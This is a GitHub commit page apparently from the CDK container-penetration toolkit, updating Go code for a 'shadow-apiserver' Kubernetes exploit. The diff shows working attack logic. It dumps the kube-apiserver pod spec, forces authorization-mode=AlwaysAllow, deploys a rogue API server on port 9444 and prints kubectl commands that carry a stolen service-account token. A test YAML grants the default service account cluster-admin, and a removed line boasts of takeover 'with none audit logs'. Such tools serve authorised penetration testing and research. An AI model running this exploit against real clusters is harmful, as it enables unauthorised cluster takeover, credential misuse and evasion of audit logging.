Skip to content

Commit

Permalink
fix #77(exp shadow-apiserver): anonymous-auth is not valid, support v…
Browse files Browse the repository at this point in the history
…1.23.1
  • Loading branch information
neargle committed Mar 12, 2023
1 parent 6594a65 commit 751705e
Show file tree
Hide file tree
Showing 3 changed files with 58 additions and 22 deletions.
48 changes: 35 additions & 13 deletions pkg/exploit/k8s_shadow_apiserver.go
Original file line number Diff line number Diff line change
Expand Up @@ -67,9 +67,11 @@ func findApiServerPodInMasterNode(token string, serverAddr string) (string, erro
return "", errors.New("invalid to list pods, possible caused by api-server forbidden this request.")
}
// extract pod name
pattern := regexp.MustCompile(`"/api/v1/namespaces/kube-system/pods/(kube-apiserver\b[^"]*?)"`)
// sample: {"metadata":{"name":"kube-apiserver-ubuntu-linux-20-04-desktop","namespace":"kube-system","uid":"b7564d4e-3bb1-48ef-8885-3984be70f46d" .. -> kube-apiserver-ubuntu-linux-20-04-desktop
pattern := regexp.MustCompile(`"metadata":{"name":"(kube-apiserver\b[^"]*?)"`)
matched := pattern.FindAllStringSubmatch(resp, -1)
if matched == nil {
fmt.Println(resp)
return "", errors.New("Cannot find kube-apiserver pod in namespace:kube-system, maybe target K8s master node managed by cloud provider, cannot deploy api-server in this environment.")
}

Expand Down Expand Up @@ -109,8 +111,8 @@ func dumpPodConfig(token string, serverAddr string, podName string, namespace st
log.Printf("request apiserver uri `%s` error: %v, response: %s", opts.Api, err, resp)
return "", errors.New("faild to request api-server.")
}
if !strings.Contains(resp, "selfLink") {
log.Println("api-server response:")
if !strings.Contains(resp, "selfLink") && !strings.Contains(resp, `"namespace"`) {
log.Println("api-server response in dumpPodConfig:")
fmt.Println(resp)
return "", errors.New("invalid response data, possible caused by api-server forbidden this request.")
}
Expand Down Expand Up @@ -170,11 +172,13 @@ func generateShadowApiServerConf(json string) string {
}

// set anonymous-auth to true
reg = regexp.MustCompile(`("--anonymous-auth\s*?=\s*?)(.*?)(")`)
json = reg.ReplaceAllString(json, "${1}true${3}")
if !strings.Contains(json, "--anonymous-auth") {
json = argInsertReg.ReplaceAllString(json, `${1}"--anonymous-auth=true",${2}`)
}
// change note: anonymous-auth is not valid in k8s 1.22 and later, see https://github.com/cdk-team/CDK/issues/77

// reg = regexp.MustCompile(`("--anonymous-auth\s*?=\s*?)(.*?)(")`)
// json = reg.ReplaceAllString(json, "${1}true${3}")
// if !strings.Contains(json, "--anonymous-auth") {
// json = argInsertReg.ReplaceAllString(json, `${1}"--anonymous-auth=true",${2}`)
// }

// set authorization-mode=AlwaysAllow
reg = regexp.MustCompile(`("--authorization-mode\s*?=\s*?)(.*?)(")`)
Expand Down Expand Up @@ -211,8 +215,8 @@ func deployPod(token string, serverAddr string, namespace string, data string) (
log.Printf("request apiserver uri `%s` error: %v, response: %s", opts.Api, err, resp)
return "", errors.New("faild to request api-server.")
}
if !strings.Contains(resp, "selfLink") {
log.Println("api-server response:")
if !strings.Contains(resp, "selfLink") && !strings.Contains(resp, `"namespace"`) {
log.Println("api-server response in deployPod:")
fmt.Println(resp)
return "", errors.New("invalid response data, possible caused by api-server forbidden this request.")
}
Expand Down Expand Up @@ -265,7 +269,7 @@ func (p K8sShadowApiServerS) Run() bool {
return false
}

if !strings.Contains(resp, "selfLink") {
if !strings.Contains(resp, "selfLink") && !strings.Contains(resp, `"namespace"`) {
fmt.Println("response data:", resp)
log.Println("exploit failed.")
return false
Expand All @@ -276,8 +280,26 @@ func (p K8sShadowApiServerS) Run() bool {
namespace := gjson.Get(resp, "metadata.namespace").String()
node := gjson.Get(resp, "spec.nodeName").String()
fmt.Printf("\tshadow api-server pod name:%s, namespace:%s, node name:%s\n", podName, namespace, node)
fmt.Printf("\tlistening secure-port: https://%s:9444\n", node)
fmt.Printf("\tgo further run `cdk kcurl %s get https://%s:9444/api` to takeover cluster with none audit logs!\n", tokenFlag, node)
fmt.Printf("\tlistening port: https://%s:9444\n", node)

var token = ""
switch tokenFlag {
case "default":
token, _ = kubectl.SecretToken(conf.K8sSATokenDefaultPath)
case "anonymous":
token = ""
default:
// TODO: why default flag not to use default token(conf.K8sSATokenDefaultPath)?
token, _ = kubectl.SecretToken(tokenFlag)
}

// sample:
// kubectl --server=https://<node-hostname>:9444/ --token=<token> --kubeconfig=/dev/null --insecure-skip-tls-verify=true get pods -A
if token == "" {
fmt.Println("\trun: kubectl --server=https://%s:9444 --kubeconfig=/dev/null --insecure-skip-tls-verify=true get pods -A\n", node)
} else {
fmt.Printf("\trun: kubectl --server=https://%s:9444 --token=%s --kubeconfig=/dev/null --insecure-skip-tls-verify=true get pods -A\n", node, token)
}

return true
}
Expand Down
30 changes: 22 additions & 8 deletions pkg/tool/kubectl/common.go
Original file line number Diff line number Diff line change
Expand Up @@ -85,23 +85,37 @@ func GetServiceAccountToken(tokenPath string) (string, error) {
return string(token), nil
}

func SecretToken(tokenPath string) (string, error) {
var tokenErr error
var token string

if tokenPath != "" {
token, tokenErr = GetServiceAccountToken(tokenPath)
} else if token == "" {
token, tokenErr = GetServiceAccountToken(conf.K8sSATokenDefaultPath)
}
if tokenErr != nil {
return "", &errors.CDKRuntimeError{Err: tokenErr, CustomMsg: "load K8s service account token error."}
}

token = strings.TrimSpace(token)

return token, nil
}

/*
curl -s https://192.168.0.234:6443/api/v1/nodes?watch --header "Authorization: Bearer xxx" --cacert ca.crt
*/
//https://github.com/kubernetes/client-go/blob/66db2540991da169fb60fce735064a55bfc52b71/rest/config.go#L483
func ServerAccountRequest(opts K8sRequestOption) (string, error) {

// parse token
var tokenErr error
if opts.Anonymous {
opts.Token = ""
} else if opts.TokenPath != "" {
opts.Token, tokenErr = GetServiceAccountToken(opts.TokenPath)
} else if opts.Token == "" {
opts.Token, tokenErr = GetServiceAccountToken(conf.K8sSATokenDefaultPath)
}
if tokenErr != nil {
return "", &errors.CDKRuntimeError{Err: tokenErr, CustomMsg: "load K8s service account token error."}
} else if token, err := SecretToken(opts.TokenPath); err != nil {
return "", err
} else {
opts.Token = token
}

// parse url if opts.Url is ""
Expand Down
2 changes: 1 addition & 1 deletion test/k8s_exploit_util/default_to_admin.yaml
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1beta1
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: cdxy-default-to-admin-binding
namespace: default
Expand Down

0 comments on commit 751705e

Please sign in to comment.